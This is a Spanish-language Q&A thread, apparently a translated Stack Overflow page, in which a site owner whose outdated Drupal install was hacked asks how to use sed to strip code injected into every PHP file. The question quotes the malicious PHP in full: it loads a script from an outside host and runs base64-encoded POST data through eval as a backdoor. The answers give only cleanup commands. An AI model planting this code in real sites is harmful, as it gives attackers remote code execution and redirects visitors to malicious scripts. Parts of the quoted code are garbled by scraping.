2012-02-16 18 views
23

, me han pirateado mediante la ejecución de una instalación de Drupal muy anticuado (la culpa es mía)sed, reemplace la primera línea

Parece que inyectan el siguiente en cada archivo .php;

<?php global $sessdt_o; if(!$sessdt_o) { 
    $sessdt_o = 1; $sessdt_k = "lb11"; 
    if([email protected]$_COOKIE[$sessdt_k]) { 
    $sessdt_f = "102"; 
    if([email protected]_sent()) { @setcookie($sessdt_k,$sessdt_f); } 
    else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } 
    } 
    else { 
    if($_COOKIE[$sessdt_k]=="102") { 
    $sessdt_f = (rand(1000,9000)+1); 
    if([email protected]_sent()) { 
     @setcookie($sessdt_k,$sessdt_f); } 
    else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } 
    sessdt_j = @$_SERVER["HTTP_HOST"][email protected]$_SERVER["REQUEST_URI"]; 
    $sessdt_v = urlencode(strrev($sessdt_j)); 
    $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); 
    echo "<script src='$sessdt_u'></script>"; 
    echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; 
    } 
    } 
    $sessdt_p = "showimg"; 
    if(isset($_POST[$sessdt_p])){ 
    eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p]))); 
    exit; 
    } 
    } 

¿Puedo eliminar y reemplazar esto con sed? e.g .:

find . -name *.php | xargs ... 

Espero que el sitio funcione solo por el momento para usar wget y hacer una copia estática.

+0

supongo que es un poco tarde , pero para cualquiera que pueda estar en la misma situación: nunca intente arreglar un sistema pirateado. La única solución es reinstalar desde cero y copiar solo los archivos de configuración verificados manualmente y el volcado de DB. – Dunatotatos

Respuesta

52

Puede utilizar sed con algo como

sed '1 s/^.*$/<?php/' 

La parte 1 sólo reemplaza la primera línea. Luego, gracias al comando s, reemplaza toda la línea por <?php.

Para modificar sus archivos in situ, use la opción -i de GNU sed.

+1

Supongo que querrías cambiarlo a algo como ' tripleee

1

Para volver a colocar la primera línea de un archivo, puede utilizar el ("cambio") de comandos de sedc:

sed '1c<?php' 

que se traduce en: "en la línea 1, sustituya el espacio de patrones con <?php ".

Para este problema en particular, sin embargo, algo como esto probablemente funcionaría:

sed '1,/^$/c<?php' 

que dice: cambiar la "línea 1 a la primera línea vacía" gama de <?php, sustituyendo así a todo el código inyectado.

(La segunda parte de la dirección (la expresión regular /^$/) debe sustituirse por una expresión que en realidad delimitan el código inyectado, si no es una línea vacía.)

Cuestiones relacionadas